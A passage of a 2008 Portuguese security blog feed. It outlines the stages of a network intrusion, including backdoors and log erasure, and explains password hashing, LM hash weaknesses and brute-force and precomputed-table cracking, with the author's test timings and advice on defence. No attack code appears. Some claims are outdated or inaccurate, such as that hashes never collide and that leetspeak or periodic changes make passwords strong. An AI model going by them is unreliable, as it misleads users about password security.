<p>Algumas ferramentas já automatizam todo o processo de identificação dos softwares, suas versões, assim como a vulnerabilidades existentes para aquelas versões específicas, simplificando o trabalho do atacante.</p>
<h2 class="western">5. Exploração das vulnerabilidades</h2>
<p>Essa é a etapa onde efetivamente ocorre a invasão. Dependendo do tipo de vulnerabilidade encontrada, a invasão será mais ou menos efetiva. Algumas vulnerabilidades permitem apenas a interrupção do serviço, ao qual damos o nome de ataque <em>DOS</em> (<em>Denial of Service</em> ou Negação de Serviço).</p>
<p>As vulnerabilidades mais perigosas são as que permitem a execução de programas e comandos no computador remoto. O <em>Buffer Overflow</em> (estouro de memória) é um exemplo de vulnerabilidade que  pode permitir que o atacante obtenha acesso à uma tela de terminal remoto, podendo executar os comandos que desejar, como se estivesse sentado diante do computador atacado e geralmente com privilégios de administrador.</p>
<p>Outro exemplo de ataque perigoso é o do tipo <em>SQL Injection</em>, feito em aplicações web mal feitas, permite desde a consulta direta à um banco de dados (onde o atacante pode obter informações sigilosas como números de cartões de crédito) à execução comando do sistema operacional.</p>
<p>Existem inúmeros tipos de vulnerabilidades que me permitiriam discorrer em páginas e mais páginas, mas como não é o objetivo transforma-lo em um especialista em segurança, vamos nos restringir a esses exemplos.</p>
<p>Muitos desses ataques podem ser feitos com uso de programas ou <em>scripts</em> prontos, chamados de <em>sploits</em>.</p>
<h2 class="western">6. Implantação de Backdoors e Rootkits</h2>
<p>Uma vez que o invasor tenha obtido sucesso na sua investida, é comum que ele implante programas que facilitem o seu retorno. São os chamados <em>Backdoors</em>, ou literalmente “porta dos fundos”. Além disso ele pode implantar os chamados <em>Rootkits</em>, que são programas que se agregam ao núcleo do sistema operacional, dificultando a sua localização.</p>
<h2 class="western">7. Eliminação de Vestígios</h2>
<p>Toda invasão deixa rastros no computador atacado, seja nos <em>logs</em> (históricos) do sistema seja em forma de arquivos temporários. Para dificultar a identificação da sua presença, o bom atacante procura eliminar esses vestígios, requerendo uma intervenção muito mais minuciosa na investigação do incidente e muitas vezes impossibilitando rastrear sua origem.</p>
<h2 class="western">Formas de prevenção</h2>
<p>Se você é um usuário comum não há muito o que fazer, mas se você é um administrador de redes, é sua responsabilidade tomar as medidas preventivas necessárias para minimizar esses riscos.</p>
<ul>
<li><strong>Uso de firewall, IDS e IPS</strong>: o firewall é um elemento 	indispensável na sua rede, para controlar e impedir os acessos 	indesejáveis. Hoje é simplesmente inaceitável que se tenha uma 	rede conectada na internet sem um firewall. O uso de <em>IDS</em> (<em>Intrusion Detection System</em> ou Sistema de Detecção de 	Intrusão) e um <em>IPS</em> (<em>Intrusion Prevention System</em> ou 	Sistema de Prevenção de Intrusão), são elementos desejáveis 	para uma defesa efetiva.</li>
<li><strong>Serviços desnecessários</strong>: todos os serviços que não 	estiverem sendo efetivamente usados, devem ser desabilitados. Além 	de serem itens adicionais para atualizações de segurança, são 	pontos adicionais em potencial para serem explorados.</li>
<li><strong>Atualização e Configuração</strong>: é indispensável que 	todos os serviços disponíveis para internet estejam com as últimas 	atualizações de segurança aplicadas e, principalmente, 	corretamente configurados. Falhas de configurações são grandes 	causas de incidentes de segurança.</li>
<li><strong>Monitoração constante</strong>: a monitoração das 	atividades da rede devem fazer parte da rotina diária de um 	administrador de redes. Só assim você poderá perceber anomalias 	no seu funcionamento. Deve ser incluída nessa rotina, a monitoração 	dos <em>logs</em>, também para detectar registros de ocorrências 	anormais. O uso de ferramentas que detectem modificações nos 	arquivos do sistema também é uma medida desejável. Uma ferramenta 	gratuita que pode ser utilizada para esse fim, é o <em>tripwire</em>.</li>
</ul>
<p>A melhor forma de defesa, entretanto, é o conhecimento. Fique sempre atualizado quanto as novas formas de ataque e vulnerabilidades descobertas para poder agir de forma proativa, antecipando-se aos movimentos dos invasores.</p>
<p>&#8212;&#8212;</p>
<p><a href="http://drwhitehat.wordpress.com/2008/09/19/a-anatomia-de-uma-invasao/#respond">Adicione um comentário.</a></p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/drwhitehat.wordpress.com/131/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/drwhitehat.wordpress.com/131/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/drwhitehat.wordpress.com/131/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/drwhitehat.wordpress.com/131/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/drwhitehat.wordpress.com/131/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/drwhitehat.wordpress.com/131/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/drwhitehat.wordpress.com/131/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/drwhitehat.wordpress.com/131/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/drwhitehat.wordpress.com/131/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/drwhitehat.wordpress.com/131/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=drwhitehat.wordpress.com&blog=4478092&post=131&subd=drwhitehat&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://drwhitehat.wordpress.com/2008/09/19/a-anatomia-de-uma-invasao/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">drwhitehat</media:title>
		</media:content>
	</item>
		<item>
		<title>Abre-te Sésamo &#8211; Criando senhas fortes (parte 2)</title>
		<link>http://drwhitehat.wordpress.com/2008/09/12/abre-te-sesamo-2/</link>
		<comments>http://drwhitehat.wordpress.com/2008/09/12/abre-te-sesamo-2/#comments</comments>
		<pubDate>Fri, 12 Sep 2008 09:00:13 +0000</pubDate>
		<dc:creator>drwhitehat</dc:creator>
				<category><![CDATA[segurança]]></category>
		<category><![CDATA[senha]]></category>

		<guid isPermaLink="false">http://drwhitehat.wordpress.com/?p=117</guid>
		<description><![CDATA[(Parte 1)
Como funciona o “password cracker”
Os programas quebradores de senhas “clássicos” costumam seguir determinados passos para obter sucesso na quebra de uma senha.

A primeira coisa que eles fazem é tentar senhas a partir de 	variações do próprio nome de usuário. Ex: usuário 	Administrator, senha Administrator; Administrator/admin; root/root
O segundo passo é o ataque de dicionário, que [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=drwhitehat.wordpress.com&blog=4478092&post=117&subd=drwhitehat&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p style="text-align:right;">(<a href="http://drwhitehat.wordpress.com/2008/09/05/abre-te-sesamo-1/">Parte 1</a>)</p>
<h2 class="western">Como funciona o “password cracker”</h2>
<p>Os programas quebradores de senhas “clássicos” costumam seguir determinados passos para obter sucesso na quebra de uma senha.</p>
<ul>
<li>A primeira coisa que eles fazem é tentar senhas a partir de 	variações do próprio nome de usuário. Ex: usuário 	Administrator, senha Administrator; Administrator/admin; root/root</li>
<li>O segundo passo é o ataque de dicionário, que consiste em 	utilizar uma lista de palavras geralmente criadas a partir de 	palavras de um determinado idioma. Existem listas com mais de 150 	mil palavras disponíveis na internet para cada idioma desejado.</li>
<li>O terceiro passo é o ataque de força bruta propriamente 	dito, onde o programa gera todas as variações possíveis dentro de 	um universo de caracteres previamente estabelecido. Quanto maior 	esse conjunto, mais demorado é o processamento, mas aumentam as 	possibilidades de sucesso.</li>
<li>Em alguns programas, como o LM hash é dividido em duas 	partes, a quebra de uma parte já é utilizada para restringir as 	tentativas em um dicionário para quebrar a segunda parte.</li>
<li>Uma vez quebrada a senha LM hash, o programa parte para 	variações de minúsculas e maiúsculas para obter a senha NT hash.</li>
</ul>
<p>A ilustração abaixo mostra um programa de quebra de senha onde criei 6 usuários, com diferentes tipos de senhas, para que você possa ter idéia da velocidade com que esses programas funcionam.</p>
<p><a href="http://drwhitehat.files.wordpress.com/2008/09/passcrack01.png"><img class="aligncenter size-large wp-image-118" src="http://drwhitehat.files.wordpress.com/2008/09/passcrack01.png?w=510&#038;h=295" alt="" width="510" height="295" /></a></p>
<p>Para esse teste, o conjunto de caracteres utilizado compreendia letras (maiúsculas e minúsculas), números e símbolos (!@#$%^&amp;*()-_+=~`[]{}|\:;&#8221;&#8216;&lt;&gt;,.?/) &#8211; 65 trilhões de combinações segundo meus cálculos. O dicionário de palavras constava apenas um conjunto de 29 mil palavras da língua inglesa e o computador utilizado foi um Celeron de 2.4 Ghz com 1Gb de memória (um computador modesto para os dias atuais).</p>
<p>Os usuários e senhas criados foram:</p>
<ul>
<li><strong>User1, senha “User1”</strong>: quebrado em menos de um 	segundo por ser igual ao nome do usuário.</li>
<li><strong>User2, senha  “computational”</strong>: quebrado em menos 	de um segundo por ser uma palavra de dicionário.</li>
<li><strong>User3, senha “Senha”</strong>: quebrado em 45 segundos por 	força bruta por ser uma palavra pequena.</li>
<li><strong>User4, senha “MinhaSenha”</strong>: por ser uma senha de 10 	caracteres, o método de força bruta já levou 4:40 horas para 	quebrá-la.</li>
<li><strong>User5, senha “U$er5”</strong>: apesar de conter letras 	maiúsculas, minúsculas, números e símbolos, foi quebrado em 1 	minuto e 24 segundos por ser uma senha curta.</li>
<li><strong>Admin, senha “M!nh@53nh@”</strong>: por ser uma senha de 10 	caracteres, usando maiúsculas, minúsculas, números e símbolos, 	ela só foi quebrada parcialmente (3 últimos caracteres) ao longo 	de 6 horas de processamento, que foi a duração do meu teste.</li>
</ul>
<p>Observe no lado direito da imagem, no quadro “BRUTE FORCE”, alguns dados interessantes:</p>
<ul>
<li><strong>time elapsed: 0d 6h 0m 2s</strong> – tempo de processamento 	decorrido (6 horas, 0 minutos).</li>
<li><strong>time left: 1d 14h 19m 38s</strong> – tempo estimado para 	conclusão do processamento (1 dia 14 horas e 19 minutos).</li>
<li><strong>% done: 13,5367%</strong> – percentual  concluído.</li>
<li><strong>keyrate: 4995560 k/s</strong> – número de senhas testadas 	por segundo.</li>
</ul>
<p>O que se pode concluir desses dados: após 6 horas de processamento, apenas uma senha não havia sido quebrada, entretanto, somente 13,5% do total de combinações havia sido explorado. Em <strong>menos de 2 dias</strong>, com uma máquina modesta, essa senha seria quebrada com absoluta certeza, já que todos os caracteres utilizados estavam contidos no universo testado, à uma velocidade de cerca de <strong>5 milhões de senhas por segundo!!!</strong></p>
<p>Claro que isso só é possível porque o limite máximo do LM hash é de 7 caracteres “<em>case insensitive</em>”. Aumentando tamanho da senha (sem LM hash) e o número de caracteres do conjunto, poderíamos levar meses e até anos de processamento. É só fazer as contas&#8230;.</p>
<h2 class="western">Tabelas pré-computadas</h2>
<p>Os métodos mais modernos de quebra de senha utilizam tabelas de <em>hash</em> pré-computadas, trocando poder de processamento por uso de memória. Ao invés de calcular o <em>hash</em> em tempo real, todo esse processamento é feito antecipadamente e armazenando em tabelas. O problema desse método, é que tabelas de <em>hash</em> a partir de um conjunto completo de caracteres podem facilmente chegar aos 120 Gb de armazenamento ou até mais dependendo dos comprimentos de senha pre-computados.</p>
<p>A imagem a seguir foi feita a partir de um programa que utiliza tabelas pre-computadas, abrangendo somente letras (maiúsculas e minúsculas) e números. Um conjunto pequeno de caracteres mas que já gerou tabelas cujo tamanho total aproximado é de 700 Mb.</p>
<p><a href="http://drwhitehat.files.wordpress.com/2008/09/passcrack02.png"><img class="aligncenter size-large wp-image-119" src="http://drwhitehat.files.wordpress.com/2008/09/passcrack02.png?w=510&#038;h=208" alt="" width="510" height="208" /></a></p>
<p>Com esse programa, as senhas do “User5” e “Admin” não foram quebradas porque utilizavam símbolos que não constavam do conjunto gerador das tabelas de <em>hash</em>. O detalhe importante a ser notado, é que o “User4”, cuja senha é “MinhaSenha”, foi quebrado em <strong>menos de 3 minutos</strong> (veja o <em>Time elapsed</em> no canto inferior direito) contra <strong>quase 5 horas</strong> consumidas pelo método tradicional. Se eu tivesse 120 Gb de tabelas de <em>hash</em>, ao invés de 2 dias de processamento, <strong>todas as senhas seriam quebradas em questão de minutos!</strong></p>
<h2 class="western">Faça  seu próprio teste</h2>
<p>Para que você tenha idéia da velocidade com que uma senha é quebrada usando tabelas pré-computadas, acesse o site <span style="color:#000080;"><span style="text-decoration:underline;"><a href="http://www.objectif-securite.ch/en/products.php">http://www.objectif-securite.ch/en/products.php</a></span></span>. No final da página existe um teste para quebra de senha online conforme pode ser visto na figura seguinte.</p>
<p><a href="http://drwhitehat.files.wordpress.com/2008/09/passcrack03.png"><img class="aligncenter size-large wp-image-120" src="http://drwhitehat.files.wordpress.com/2008/09/passcrack03.png?w=510&#038;h=230" alt="" width="510" height="230" /></a></p>
<p>Essa demonstração só abrange letras e números. No campo “password”, digite a senha que você deseja testar e clique no botão “submit password”. Logo abaixo, vai aparecer o <em>hash</em> da senha que você digitou.</p>
<p>Selecione o <em>hash</em> criado, copie (ctrl+C), cole (ctrl+V) no campo acima onde está escrito “hash” e clique no botão “submit hash”.</p>
<p><a href="http://drwhitehat.files.wordpress.com/2008/09/passcrack04.png"><img class="aligncenter size-large wp-image-121" src="http://drwhitehat.files.wordpress.com/2008/09/passcrack04.png?w=510&#038;h=229" alt="" width="510" height="229" /></a></p>
<p>Uma vez clicado no botão “submit hash”, não clique em mais nada e nem recarregue ou atualize a página. De qualquer forma você não vai precisar aguardar muito para obter a senha quebrada a partir do <em>hash</em>.</p>
<h2 class="western">Como melhorar a segurança das senhas</h2>
<p>Existem algumas recomendações para melhorar a segurança das suas senhas. A primeira já deve ser óbvia para você a essa altura do campeonato.</p>
<p><strong>Crie senhas longas</strong>: quanto maior for a senha e quanto mais diversificados forem os caracteres utilizados, mais difícil se torna a quebra.</p>
<p><strong>Troque de senha periodicamente</strong>: por mais longa e diversificada que seja a senha, ela pode ser quebrada. É só uma questão de tempo e poder computacional.</p>
<p><strong>Crie seu próprio “alfabeto”</strong>: evite usar somente letras. Além de evitar o risco de ataques por dicionário, você diversifica o conjunto de caracteres. Para facilitar a memorização você pode substituir a letra A por 4, E por 3, I por !, O por 0 (zero), C por (, T por 7, S por $, L por 1 (um) e por aí vai. Assim, ao invés de escrever <strong>MinhaSenha</strong>, escreva <strong>M!nh4$3nh4</strong>.</p>
<p><strong>Use senhas diferentes</strong>: alguns sistemas ou serviços são mais seguros que outros. Se você usa a mesma senha em diversos lugares diferentes, pode ser que ela seja quebrada em algum lugar e utilizada em outro. Uma forma de fazer isso é utilizar um sufixo ou prefixo que identifique o serviço. Por exemplo:  <strong>M!nh4$3nh4/Hm1</strong><span> para hotmail, </span><strong>M!nh4$3nh4/Gm1</strong><span> para Gmail. Se você achar isso muito complicado, procure pelo menos agrupar as senhas por tipo de serviço: uma só para banco, outra para e-mails e sites de relacionamento, outra para usuário da rede, outra para usuário administrador, outra para sites diversos. </span></p>
<p><strong>Use gerenciadores de senha</strong><span>: existem vários programas disponíveis na internet com essa finalidade, permitindo que você tenha uma senha diferente para cada lugar. O importante é que ela armazene as senhas com uma criptografia forte e que você use uma senha forte. É importante também que você tenha cópias em lugares distintos para evitar a sua perda. Você pode usar </span><span style="color:#000080;"><span style="text-decoration:underline;"><a href="../2008/07/25/tornando-seu-pendrive-mais-seguro/"><span>volumes criptografados</span></a></span></span><span> e </span><span style="color:#000080;"><span style="text-decoration:underline;"><a href="../2008/08/01/sincronizando-seu-pendrive/"><span>sincronizados</span></a></span></span><span>, conforme já publiquei em posts anteriores.</span></p>
<p><strong>Mantenha seu servidor trancado</strong>: essa recomendação é para administradores de rede. Se o servidor não estiver em um local seguro contra acessos físicos e permitir boot a partir de um CD, é possível extrair o arquivo de senhas do sistema para serem quebradas em outro computador ou simplesmente, pode-se apagar a senha de qualquer conta ou ainda elevar o privilégio de um usuário comum, tornando-o administrador do sistema.</p>
<p><strong>Desabilite o LM Hash</strong>: também para administradores de rede. O LM hash pode ser desabilitado mas pode gerar alguns problemas de conectividade. Veja maiores detalhes em: <span style="color:#000080;"><span style="text-decoration:underline;"><a href="http://support.microsoft.com/kb/299656">http://support.microsoft.com/kb/299656</a></span></span></p>
<p>A recomendação final é a que eu sempre cito para quaisquer medidas de segurança: <strong>Bom senso</strong>. Medidas de segurança extremas implicam em maior dificuldade no uso e pode representar uma perda de tempo e energia para proteger algo que não requeira proteção elevada.</p>
<p>&#8212;&#8211;</p>
<p><a href="http://drwhitehat.wordpress.com/2008/09/12/abre-te-sesamo-2/#respond">Adicione um comentário</a></p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/drwhitehat.wordpress.com/117/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/drwhitehat.wordpress.com/117/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/drwhitehat.wordpress.com/117/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/drwhitehat.wordpress.com/117/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/drwhitehat.wordpress.com/117/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/drwhitehat.wordpress.com/117/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/drwhitehat.wordpress.com/117/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/drwhitehat.wordpress.com/117/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/drwhitehat.wordpress.com/117/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/drwhitehat.wordpress.com/117/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/drwhitehat.wordpress.com/117/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/drwhitehat.wordpress.com/117/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=drwhitehat.wordpress.com&blog=4478092&post=117&subd=drwhitehat&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://drwhitehat.wordpress.com/2008/09/12/abre-te-sesamo-2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">drwhitehat</media:title>
		</media:content>

		<media:content url="http://drwhitehat.files.wordpress.com/2008/09/passcrack01.png?w=510" medium="image" />

		<media:content url="http://drwhitehat.files.wordpress.com/2008/09/passcrack02.png?w=510" medium="image" />

		<media:content url="http://drwhitehat.files.wordpress.com/2008/09/passcrack03.png?w=510" medium="image" />

		<media:content url="http://drwhitehat.files.wordpress.com/2008/09/passcrack04.png?w=510" medium="image" />
	</item>
		<item>
		<title>Abre-te Sésamo &#8211; Criando senhas fortes (parte 1)</title>
		<link>http://drwhitehat.wordpress.com/2008/09/05/abre-te-sesamo-1/</link>
		<comments>http://drwhitehat.wordpress.com/2008/09/05/abre-te-sesamo-1/#comments</comments>
		<pubDate>Fri, 05 Sep 2008 09:00:16 +0000</pubDate>
		<dc:creator>drwhitehat</dc:creator>
				<category><![CDATA[segurança]]></category>
		<category><![CDATA[senha]]></category>

		<guid isPermaLink="false">http://drwhitehat.wordpress.com/?p=108</guid>
		<description><![CDATA[Sua senha, sua vida
No conto “Ali Babá e os 40 ladrões”, Ali Babá esconde-se no alto de uma árvore ao perceber a aproximação de um bando de ladrões, montados a cavalo. Perto da árvore, diante de uma grande pedra junto à montanha, o bando pára e o chefe dos ladrões pronuncia a célebre frase: “Abre-te [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=drwhitehat.wordpress.com&blog=4478092&post=108&subd=drwhitehat&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><h2 class="western">Sua senha, sua vida</h2>
<p>No conto “<em>Ali Babá e os 40 ladrões</em>”, Ali Babá esconde-se no alto de uma árvore ao perceber a aproximação de um bando de ladrões, montados a cavalo. Perto da árvore, diante de uma grande pedra junto à montanha, o bando pára e o chefe dos ladrões pronuncia a célebre frase: “<em>Abre-te sésamo</em>” e a grande pedra se move, revelando uma caverna. Os ladrões entram com os cavalos carregados e depois de algum tempo saem da caverna sem as cargas, quando o chefe do bando pronuncia “<em>Fecha-te sésamo</em>” e a grande pedra volta a fechar a caverna. Algum tempo depois dos ladrões partirem, Ali Babá aproxima-se da pedra e pronuncia a mesma frase: “<em>Abre-te sésamo</em>”. E a pedra se move revelando um grande tesouro&#8230;</p>
<p>Esse é um clássico exemplo de captura de senha, feita por Alí Babá. Como o sistema de segurança da caverna não possuía um sistema biométrico (<em>reconhecimento de voz</em>), mas tão somente o <em>reconhecimento da fala</em>, qualquer um que soubesse a senha poderia abrir a caverna, tal como Alí Babá, revelando-se um sistema de segurança muito frágil. <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Claro que isso é uma brincadeira, mas no mundo real e altamente tecnológico de hoje, utilizamos senhas a todo instante: para acessar o computador, ler e-mail, fazer transações bancárias, pagar um compra com cartão magnético e até para almoçar (para quem usa <em>ticket</em> em meio magnético). Muito de nossas vidas depende das senhas que utilizamos e é fundamental que saibamos utiliza-las da forma mais segura possível.</p>
<h2 class="western">Para que serve uma senha</h2>
<p>Embora todo mundo use, muitos não se percebem do seu sentido. Quando você vai acessar um sistema, tem que informar uma <strong>identificação</strong>: seu nome de usuário, sua agência e conta bancária, seu número de cartão de crédito, etc. que servem para identificar você, ou seja, “<em>quem é você</em>”. Até aí não quer dizer muita coisa, pois qualquer pessoa poderia informar a sua identificação para tentar se passar por você.</p>
<p>Para que um sistema tenha certeza que “<em>você é quem diz ser</em>”, torna-se necessário que haja uma <strong>autenticação</strong>. Para isso existem os <em>Fatores de Identificação</em>, divididos em 3 categorias:</p>
<ul>
<li><strong>Algo que só você sabe</strong>: senha, frase de segurança, 	PIN</li>
<li><strong>Algo que só você possui</strong>: cartão de identificação, 	<em>security token</em></li>
<li><strong>Alguma característica que só você tem</strong>: impressão 	digital, padrão de retina, padrão de voz e outras características 	biométricas.</li>
</ul>
<p>A senha é o método mais utilizado por ser mais barato e simples de utilizar embora apresente alguns inconvenientes. Se for muito simples é fácil de ser quebrada. Se for muito complexa é mais fácil de esquecer. Mas, como (teoricamente) trata-se de um segredo que <strong>só você conhece</strong>, é suficiente para  comprovar a sua autenticidade.</p>
<p>Para aumentar a segurança, alguns sistemas utilizam um segundo fator de autenticação, como um cartão magnético, que seria algo que <strong>só você possui</strong>. É o caso do cartão magnético do banco. Alguém pode descobrir sua senha, mas sem o cartão, não vai conseguir fazer nada. Da mesma forma, se alguém roubar seu cartão, não vai conseguir fazer nada se não souber a sua senha. O mesmo princípio é observado nos cofres: além do segredo, existe uma chave. O cofre só se abre com a chave e segredo corretos. É a chamada <em>Autenticação de Dois Fatores</em>.</p>
<h2 class="western">Como funciona uma senha</h2>
<p>Para que um sistema possa verificar a sua autenticidade através de senha, ele tem que armazena-la juntamente com o seu <em>login</em> (identificação). Armazena-la em texto claro não oferece qualquer segurança, pois qualquer pessoa que tenha acesso ao local em que elas estão armazenadas, terá acesso às senhas.</p>
<p>Alguns sistemas pouco seguros aplicam algum método criptográfico para armazena-las. Quando você se autentica, eles descriptografam a senha armazenada para comparar com a senha que você forneceu. Ou fazem o inverso: criptografam a senha digitada e comparam com a que está armazenada. Esse método também é inseguro porque toda criptografia depende de uma chave e um método criptográfico. Uma vez conhecidos, podem revelar todas as senhas.</p>
<p>Os sistemas mais seguros trabalham com uma forma de criptografia unidirecional, denominada de <em>hash</em>. Quando sua senha vai ser armazenada, o sistema aplica um método matemático para gerar uma seqüência numérica de tamanho fixo, geralmente representada em <em>hexadecimal</em>. O modelo matemático aplicado é publicamente conhecido, mas o resultado gerado é único para cada senha. Teoricamente é impossível que existam duas senhas diferentes que gerem o mesmo valor de <em>hash</em>. Pequenas variações na senha também geram <em>hashes</em> totalmente diferentes impossibilitando a  dedução pela seqüência.</p>
<p>Exemplo:</p>
<table style="height:118px;" border="1" cellspacing="0" cellpadding="4" width="500">
<col width="88"></col>
<col width="531"></col>
<tbody>
<tr valign="top">
<td width="88"><strong>Senha</strong></td>
<td width="531"><strong>Hash</strong></td>
</tr>
<tr valign="top">
<td width="88"><span><span style="font-size:x-small;">aaa</span></span></td>
<td width="531"><span><span style="font-size:x-small;">1c3a2b6d939a1021aad3b435b51404ee:e24106942bf38bcf57a6a4b29016eff6</span></span></td>
</tr>
<tr valign="top">
<td width="88"><span><span style="font-size:x-small;">aab</span></span></td>
<td width="531"><span><span style="font-size:x-small;">ef20f1afa8178582aad3b435b51404ee:741fe226bbd8e7181493b650a769c619</span></span></td>
</tr>
<tr valign="top">
<td width="88"><span><span style="font-size:x-small;">aac</span></span></td>
<td width="531"><span><span style="font-size:x-small;">20606b82a2c18ceaaad3b435b51404ee:a6d6f7ae9b6d52f7bc7c2b23e6dd1d92</span></span></td>
</tr>
<tr valign="top">
<td width="88"><span><span style="font-size:x-small;">aaaaa</span></span></td>
<td width="531"><span><span style="font-size:x-small;">a80f6e6a87ba6ac2aad3b435b51404ee:75c06256f58d07a18b239e4cc39a382d</span></span></td>
</tr>
</tbody>
</table>
<p>Observe que a simples alteração de uma letra, resulta em um hash totalmente diferente e do mesmo tamanho, não importando o tamanho da sua senha.</p>
<p>Como não é possível decodificar o <em>hash</em> para obter a senha que o gerou, no momento da sua autenticação, o sistema aplica o mesmo método de cálculo na senha que você está fornecendo para obter o seu <em>hash</em> e assim comparar com o <em>hash</em> armazenado.  Se forem iguais, sua senha está correta e você é autenticado.</p>
<h2 class="western">Quebrando senhas</h2>
<p>Você deve estar imaginando que, como o <em>hash</em> é uma criptografia “sem volta”, sua senha está segura. Depende&#8230; Como não há como decodificar o <em>hash</em>, aplicamos a chamada “<em>Força Bruta</em>” ou seja, método de tentativa e erro, para testar todas as combinações de caracteres possíveis, até encontrar aquela que gere o <em>hash</em> desejado. Com o poder computacional dos dos micros atuais e uso de programas específicos para isso, <strong>QUALQUER</strong> senha do Windows pode ser quebrada em questão de <strong>1 ou 2 dias</strong> (na configuração padrão do Windows até a versão XP, daqui a pouco você vai entender a razão).</p>
<p>O tempo necessário para se quebrar uma senha depende de alguns fatores:</p>
<ul>
<li><em>Comprimento da senha</em>: número de caracteres 	utilizados.</li>
<li><em>Conjunto de caracteres</em>: maiúsculas, minúsculas, 	números e símbolos.</li>
<li><em>Poder computacional</em>: quantas tentativas podem ser 	feitas num intervalo de tempo.</li>
</ul>
<p>Imagine um sistema que só aceite como senha, valores numéricos de 0 a 9. Não é necessário ser nenhum <em>cracker</em> para quebrar uma senha que ofereça somente 10 possibilidades. Imagine agora, que esse sistema foi aprimorado e passa a aceitar senhas de um ou dois dígitos numéricos. Agora já temos 10 possibilidades (de 0 à 9) + 100 possibilidade (de 00 à 99), totalizando 110 combinações diferentes de senha. Já dá um pouco de trabalho, mas ainda é possível de se fazer manualmente.</p>
<p>Agora, vamos considerar que ao invés de usar somente dígitos numéricos, podemos utilizar somente letras maiúsculas. Temos então 26 possibilidades para uma senha de um caracter + 26 * 26 (ou 26<sup>2 </sup>) para dois caracteres, totalizando 702 combinações (26+676). Perceba que não alteramos o tamanho da senha, mas somente o conjunto de caracteres possíveis de serem combinados. Agora já fica mais difícil para uma pessoa quebrar manualmente, mas para um computador ainda é mais rápido que um piscar de olhos.</p>
<p>Para quem gosta de exercícios matemáticos, o número de combinações é calculada pela seguinte fórmula:</p>
<p><strong>KS = L<sup>m</sup> + L<sup>m+1</sup> + L<sup>m+2</sup> + &#8230;&#8230;.. + L<sup>M</sup></strong></p>
<p>onde:</p>
<p>KS = número total de senhas possíveis<br />
L = comprimento do conjunto de caracteres<br />
m = comprimento mínimo da senha<br />
M = comprimento máximo da senha</p>
<p>Para quem não quer ter trabalho, a tabela abaixo ilustra as quantidades totais de combinações possíveis para senhas que tenham de 1 até 7 caracteres. Na primeira coluna temos o conjunto de caracteres utilizados; na segunda, a quantidade de caracteres desse conjunto; na terceira coluna, temos o total de combinações possíveis.</p>
<p><span style="font-size:small;"><strong>Combinações entre 1 a 7 caracteres por senha:</strong></span></p>
<table style="height:141px;" border="1" cellspacing="0" cellpadding="4" width="500">
<col width="443"></col>
<col width="48"></col>
<col width="126"></col>
<tbody>
<tr valign="top">
<td width="443"><strong>Conjunto de Caracteres</strong></td>
<td width="48">
<p align="center"><strong>Quant.</strong></p>
</td>
<td width="126">
<p align="right"><strong>Combinações</strong></p>
</td>
</tr>
<tr>
<td width="443">Números</td>
<td width="48">
<p align="center">10</p>
</td>
<td width="126">
<p align="right">11.111.110</p>
</td>
</tr>
<tr>
<td width="443">Letras Maúsculas</td>
<td width="48">
<p align="center">26</p>
</td>
<td width="126">
<p align="right">8.353.082.582</p>
</td>
</tr>
<tr>
<td width="443">Letras Maiúsculas + Números</td>
<td width="48">
<p align="center">36</p>
</td>
<td width="126">
<p align="right">80.603.140.212</p>
</td>
</tr>
<tr>
<td width="443">Maiúsculas + Números + “!@#$%^&amp;*()-_+=~`[]{}|\:;&#8221;&#8216;&lt;&gt;,.?/”</td>
<td width="48">
<p align="center">68</p>
</td>
<td width="126">
<p align="right">6.823.331.935.124</p>
</td>
</tr>
<tr>
<td width="443">Maiúsc. + Minúsc. + Núm. + 			“!@#$%^&amp;*()-_+=~`[]{}|\:;&#8221;&#8216;&lt;&gt;,.?/”</td>
<td width="48">
<p align="center">94</p>
</td>
<td width="126">
<p align="right">65.545.047.154.954</p>
</td>
</tr>
</tbody>
</table>
<p>Se você observou a fórmula, o número de possibilidades cresce de forma exponencial, determinado pelo comprimento da senha e conjunto de caracteres utilizados. Resumindo: <strong>quanto mais diversificados forem os caracteres utilizados e quanto maior for a senha, mais difícil ela se torna para ser quebrada</strong>. Dependendo do sistema e de como você constrói sua senha ela pode ser quebrada em milissegundos ou em anos.</p>
<h2 class="western">A fragilidade do Windows</h2>
